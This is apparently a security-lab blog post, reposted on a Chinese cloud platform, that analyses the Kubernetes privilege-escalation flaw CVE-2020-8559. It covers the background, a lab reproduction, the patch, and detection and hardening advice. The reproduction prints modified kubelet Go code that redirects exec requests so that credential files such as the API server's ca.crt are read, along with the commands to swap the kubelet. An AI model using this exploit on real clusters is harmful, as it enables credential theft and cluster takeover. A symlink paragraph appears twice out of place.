前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >移花接木:看CVE-2020-8559如何逆袭获取集群权限

移花接木:看CVE-2020-8559如何逆袭获取集群权限

作者头像
绿盟科技研究通讯
发布2021-11-10 14:37:40
1.1K0
发布2021-11-10 14:37:40
举报
文章被收录于专栏:绿盟科技研究通讯

简介

CVE-2020-8559是一个针对Kubernetes的权限提升漏洞,攻击者可以截取某些发送至节点kubelet的升级请求,通过请求中原有的访问凭据转发请求至其他目标节点,从而造成节点的权限提升,CVSS3.x评分为6.8[1]。版本在v1.6-v1.15之间以及v1.16.13、v1.17.9和v1.18.6之前的版本均受影响。该漏洞由Tim Allclair提交[2]。

目前网上暂无针对该漏洞的详实资料,但笔者在探寻针对Kubernetes的渗透路线时,发现通过该漏洞可以直接获取集群的控制权限,它的危害可能由于评分不高的缘故被大大低估。因此希望通过此篇文章,让大家了解它的危害并感受其利用过程。以上简单的漏洞说明可能难以理解,下面笔者将给出理解该漏洞所需的背景知识,然后对漏洞进行分析、复现,最后给出相关修复建议以及总结与思考。

1. 背景知识

图1[3]

1.1API Server

API Server提供了Kubernetes各类资源对象(Pod,RC, Service等)的增删改查及watch等HTTP REST API接口,成为集群中各个功能模块之间数据交互和通信的中心枢纽,是整个系统的数据总线和数据中心。除此之外,它还具有代理转发的功能,将外界对于部分API的调用转发到后端实际执行这些API功能的组件上。例如,常用的对Pod执行exec的操作,就是API Server作为代理,将请求转发到了对应节点的kubelet上,由该kubelet执行具体命令。

1.2kubelet

Kubelet 是 Kubernetes 工作节点上的一个代理组件,运行在每个节点上。它定期从API Server组件接收新的或修改的Pod规范,并确保Pod及其容器在期望规范下运行。同时该组件作为工作节点的监控组件,向APIServer汇报主机的运行状况。

2. 漏洞分析

号链接特性”与“Kubernetes自身代码逻辑”两部分结合的产物。符号链接引起的问题并不新鲜,这里它与虚拟化隔离技术碰撞出了逃逸问题,以前还曾有过在传统主机安全领域与SUID概念碰撞出的权限提升问题等[11]。

该漏洞是由于Kubernetes API Server和kubelet的请求遵循HTTP重定向,当kubelet进程响应/exec、/attach、/portforward等动作时附带了HTTP 302重定向和Location头,Kubernetes API Server或Kubectl命令将会使用原始请求的凭证,为Location头中的任何内容提出新请求。图2可以帮助我们更好地理解:

图2

正常情况下,当Node节点上的Pod被执行/exec、/attach等操作时,会经历图2中①②③的步骤。

图3

如图3所示,在实际利用CVE-2020-8559的过程中,当攻击者获取了Node节点的root权限时,可以通过修改kubelet拦截来自API Server转发的请求,然后在其中加入恶意的302请求,kubelet在向API Server返回/exec等动作执行的结果时会发起新的请求,新的请求会沿用原始请求的凭证,走向图3中④⑤⑥的流程,kubelet在接收到API Server转发过来的请求之后便会直接执行,即使该kubelet在Master节点,如此便可通过API Server转发的方式控制集群,达到权限提升的效果。话不多说,下面我们将通过实践来感受整个利用链的效果。

3. 漏洞复现

号链接特性”与“Kubernetes自身代码逻辑”两部分结合的产物。符号链接引起的问题并不新鲜,这里它与虚拟化隔离技术碰撞出了逃逸问题,以前还曾有过在传统主机安全领域与SUID概念碰撞出的权限提升问题等[11]。

3.1环境准备

场景涉及Master和Node节点的搭建,为了方便,我们借助开源靶场工具Metarget[4]来部署漏洞环境。在即将作为Master节点的主机上下载Metarget,然后执行以下命令:

代码语言:javascript
复制
./metarget cnv installcve-2020-8559 --domestic --verbose

安装完成之后会在metarget/tools/目录下生成install_k8s_worker.sh文件,将该文件复制到作为Node节点的主机上(与Master节点网络可连通),然后执行

代码语言:javascript
复制
 bash install_k8s_worker.sh

即可完成Master节点和Node节点的部署:

图4

然后在Master节点上安装一个正常运行的pod:

代码语言:javascript
复制
./metarget cnv installno-vuln-ubuntu

图5

图6

因为Kubernetes集群的机制,该pod会自动运行在Node节点上。

3.2漏洞利用

假设我们通过一定手段已经获取了Node节点的root权限,为了拦截对kubelet的某些请求,我们需要替换Node节点上的kubelet(以下漏洞利用手段参考github[5])。

3.2.1 步骤一: 厉兵秣马

本次搭建的环境中Kubernetes版本为v1.17.1,因此先下载相同版本的Kubernetes源码:

代码语言:javascript
复制
git clone --branch v1.17.1 --single-branch https://github.com/kubernetes/kubernetes.git

编辑kubernetes/pkg/kubelet/server/server.go文件中的ServeHTTP()函数,如下所示:

// ServeHTTP responds to HTTP requests onthe kubelet.

func (s *Server) ServeHTTP(w http.ResponseWriter, req*http.Request) {

handler := httplog.WithLogging(s.restfulCont,statusesNoTracePred)

// monitor httprequests

varserverTypestring

if s.auth == nil {

serverType = "readonly"

} else {

serverType = "readwrite"

}

method, path := req.Method, trimURLPath(req.URL.Path)

//---------------------Begin---------------------------

protocol := "https"

host := "Master-IP:6443"

namespace := "kube-system"

pod := "kube-apiserver-cloudplay"

container := "kube-apiserver"

command1 := "cat"

command2 :="/etc/kubernetes/pki/ca.crt"

if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {

fmt.Println("--------------------------------------------------------------")

fmt.Println("SendingRedirect")

fmt.Println("--------------------------------------------------------------")

http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command1+"&command="+command2+"&container="+container+"&stderr=true&stdout=true", 302)

}

//---------------------End---------------------------

注意其中修改的内容:

(本次漏洞利用的目标为获取Master节点上APIServer的ca.crt凭证)

host为Master节点IP和API server运行的端口

namespace、pod、container根据Master节点运行的pod具体情况填写

command字段为执行的命令,此处的利用场景为读取API Server的相关凭证文件,需要执行的命令应为

代码语言:javascript
复制
cat /etc/kubernetes/pki/ca.crt

但此条命令涉及参数,因此在构造API请求时需要通过command拼接的形式。

编辑完成之后保存并退出,运行以下命令进行编译:

代码语言:javascript
复制
cd kubernetes/  (kubernetes源码根目录)
GO111MODULE=on go moddownload  (golang版本要求支持mod参数.)
cd kubernetes/cmd/kubelet
go build

3.2.2 步骤二: 移花接木

将编译好的kubelet上传至Node节点,找到正在运行的kubelet进程

代码语言:javascript
复制
ps aux | grep kubelet

将原kubelet进程结束

代码语言:javascript
复制
kill $pid

备份原kubelet文件(备份是个好习惯)

代码语言:javascript
复制
cp /usr/bin/kubelet /usr/bin/kubelet.bak

覆盖原kubelet文件

代码语言:javascript
复制
cp -f kubernetes/cmd/kubelet/kubelet /usr/bin/kubelet

确认kubelet是否重启(kubelet会自动重启,可多次重复kill操作,确认启动时间为最新)

代码语言:javascript
复制
ps aux | grep kubelet

3.2.3 步骤三: 直捣黄龙

在Master节点上执行以下命令:

代码语言:javascript
复制
kubectl exec no-vuln-ubuntu -n metarget -- hostname

当向位于Node节点上的pod执行exec操作时,按照图3的流程,APIServer会将该请求转发给Node节点上的kubelet执行,此时Node节点上的kubelet已经被我们替换,/exec的请求触发了我们新增的302重定向请求,导致Node节点的kubelet向API server发起了我们构造的恶意请求,并且沿用了原始请求的凭证(因为该请求是从API server转发过来的,所以认证已经通过),最终成功读取了/etc/kubernetes/pki/ca.crt文件。同理,我们可以读取其他敏感凭证,以此来获取到API Server的控制权。

图7

3.3注意事项

通过以上利用过程可以发现,此漏洞的利用需要满足两个条件:

  1. 获取到Node节点的root权限,因此可以替换kubelet
  2. 拥有运行在Node节点上任意个pod的exec、attach、portforward等权限

4. 漏洞修复

查看CVE-2020-8559的补丁[6],部分代码如图8、图9所示:

图8

图9

可以发现官方针对此漏洞的修复策略是对30x等重定向请求做处理,建立了一个后端用来处理升级请求,禁止了将重定向请求返回给客户端执行,即阻止了图3中步骤④。

为了防范此漏洞的利用,除更新补丁之外,在集群部署时也应遵循权限最小化原则,使得Node节点的root权限难以获取,pod的相关权限也尽可能收敛,阻碍攻击者漏洞利用链的形成。

同时,为了监控此漏洞的利用,可以通过审计Kubernetes日志,当以下资源模型请求的响应代码在300-399之间,很有可能存在相关漏洞利用行为:

- pods/exec

- pods/attach

- pods/portforward

- 任何资源的proxy(如pods/proxy、services/proxy)

5. 总结与思考

CVE-2020-8559是为数不多的针对Kubernetes集群的权限提升漏洞,和CVSS3.x评分9.8的CVE-2018-1002105[7]相同之处在于,两者都是API Server与kubelet之间处理请求的问题。不同的是,当Kubernetes开启认证机制时,利用CVE-2018-1002105需要掌握某个pod的token凭证,便于通过API Server的认证和kubelet建立通道,且当通道建立时,该kubelet只能对所在节点的pod执行命令,只有当所在节点为Master节点时,才能控制API Server,真正实现控制集群的效果。而在实际环境中,Master节点一般不会部署业务pod,仅运行一些核心组件,如kube-apiserver,etcd等,所以攻击者利用的pod很有可能并不在Master节点,因此CVE-2018-1002105的危害性有限。而CVE-2020-8559虽然评分相对较低,但当攻击者通过容器逃逸到宿主机环境时,一般为主机的root权限,已满足利用条件之一,若当前权限不满足条件二,只能像前文描述的过程那样等待集群管理员在Master上对Node节点的pod执行exec/attach等操作;若当前权限满足条件二,则可以优于CVE-2018-1002105,在Node节点上跨节点实现对集群的真正控制。同时随着近年来云原生漏洞的增多,容器逃逸的手段也变得丰富起来,从容器环境逃逸到宿主机环境的可能性变得更高,利用CVE-2020-8559的可能性也随之提高,依此来看,CVE-2020-8559在对集群的危害方面完成了逆袭。

希望读者能通过此文章理解该漏洞的危害,作为集群管理人员,应培养及时更新补丁的好习惯;作为云安全从业者,也应认真考虑如何检测并阻断漏洞利用行为,共同建设安全的云原生环境。

最后,由绿盟科技星云实验室编写的《云原生安全:攻防实践与体系构建》一书已上线京东自营,本书从容器基础设施、编排系统和微服务多层面完整地讲解了云原生的风险、攻防和安全架构,干货多多,欢迎大家购买阅读并参与讨论!

参考文献

[1] https://nvd.nist.gov/vuln/detail/CVE-2020-8559

[2] https://github.com/kubernetes/kubernetes/issues/92914

[3] https://kubernetes.io/zh/docs/concepts/overview/components/

[4] https://github.com/Metarget/metarget

[5] https://github.com/tdwyer/CVE-2020-8559

[6] https://github.com/kubernetes/kubernetes/pull/92941/commits

[7] https://xz.aliyun.com/t/3542

往期回顾

《逃逸风云再起:从CVE-2017-1002101到CVE-2021-25741》

《Metarget:云原生攻防靶场开源啦!》

关于星云实验室

星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于IaaS环境的安全防护,利用SDN/NFV等新技术和新理念,提出了软件定义安全的云安全防护体系。承担并完成多个国家、省、市以及行业重点单位创新研究课题,已成功孵化落地绿盟科技云安全解决方案。

内容编辑:星云实验室 李来冰 责任编辑:高深

本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。

关于我们

绿盟科技研究通讯由绿盟科技创新中心负责运营,绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。

绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。

我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-11-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 绿盟科技研究通讯 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 往期回顾
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档